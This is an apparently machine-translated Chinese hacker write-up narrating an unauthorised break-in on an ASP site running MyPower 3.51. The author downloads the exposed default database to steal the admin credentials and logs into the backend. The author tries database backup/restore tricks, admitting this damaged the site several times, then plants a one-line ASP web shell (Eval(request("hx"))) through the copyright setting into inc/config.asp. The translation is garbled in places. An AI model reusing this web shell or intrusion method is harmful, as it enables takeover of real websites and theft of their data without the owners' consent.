MyPower3.5 (Power) penetration & amp; shell method in the background

Is an ASP site. If you click a connection, you will habitually Add a '. The result shows that an error occurs on the server when processing the URL. Contact the system administrator. It seems that an anti-injection system is used.

I scanned it and did not find any injection points. some forks may give up without injection points. in fact, we still have N ways to deal with him. since there is no injection point, let's take a look at his background .. I scanned several backend servers and opened them. It turns out that Power 3.51 is the Power system.

Try to use the default password admin, admin888 login prompt Password error... It is estimated that the Administrator is not so idiotic.

It cannot be injected now. The default password is incorrect. At that time, I was a little overwhelmed. After a while, I suddenly thought that I had set up MY power 3.51 before. Check whether you can use the default database address to access the database file. Hurry up and get a copy of Power 3.51 online, because the file name of MY Power database is too long. I cannot remember either .. quickly find the default Database path Database \ adsfkldfogowerjnokfdslwejhdfsjhk. mdb. www.2cto.com. let's see if it wasn't for someone to remember such a long name. The facts once again prove that my RP is very good. Although the Administrator has used anti-injection code, it has not changed the database path.

Open the database. Admin table and find that only one fxysonic user must be the super administrator.

Find www.20.5.com and log on to the background with the password.

Again, I saw MY power backend. I believe that MY friends who have read 7 magazines must have read the article "self-reliance and MY motivation background" from the sky-bad children. we tried it with his method. first, use the shell database. that is, the Power system I just downloaded has only one Admin table and the rest are deleted. back up the database and write down the address.

In order to recover the database in a short time, we will change the modified database file to jpg in the add article to upload and write down the address.

Then we can restore the database. add UploadThumbs/2007829223819242.jpg to the address. after the backup, A New login box will appear .. I believe everyone has read that article .. but I failed to experiment N times .. it also ruined the website several times .. I don't know if my RP is a bad problem and I have made another mistake. Since other people's methods are not good, we can solve it by ourselves. I asked a few friends on Q. Someone said that there is no character limit in the copyright information to deliver something similar to pony .. and passed a piece of code to me. I am now successful in the local test and continue back to the target site to find the copyright information.

Replace it
Copyright? 2003 <a href = 'if Request ("hx") <> "then
Eval (request ("hx "))
End if
%>
<% Const hx ="

 

<P "=" "> inc/config. asp


This article is published by left tear in three years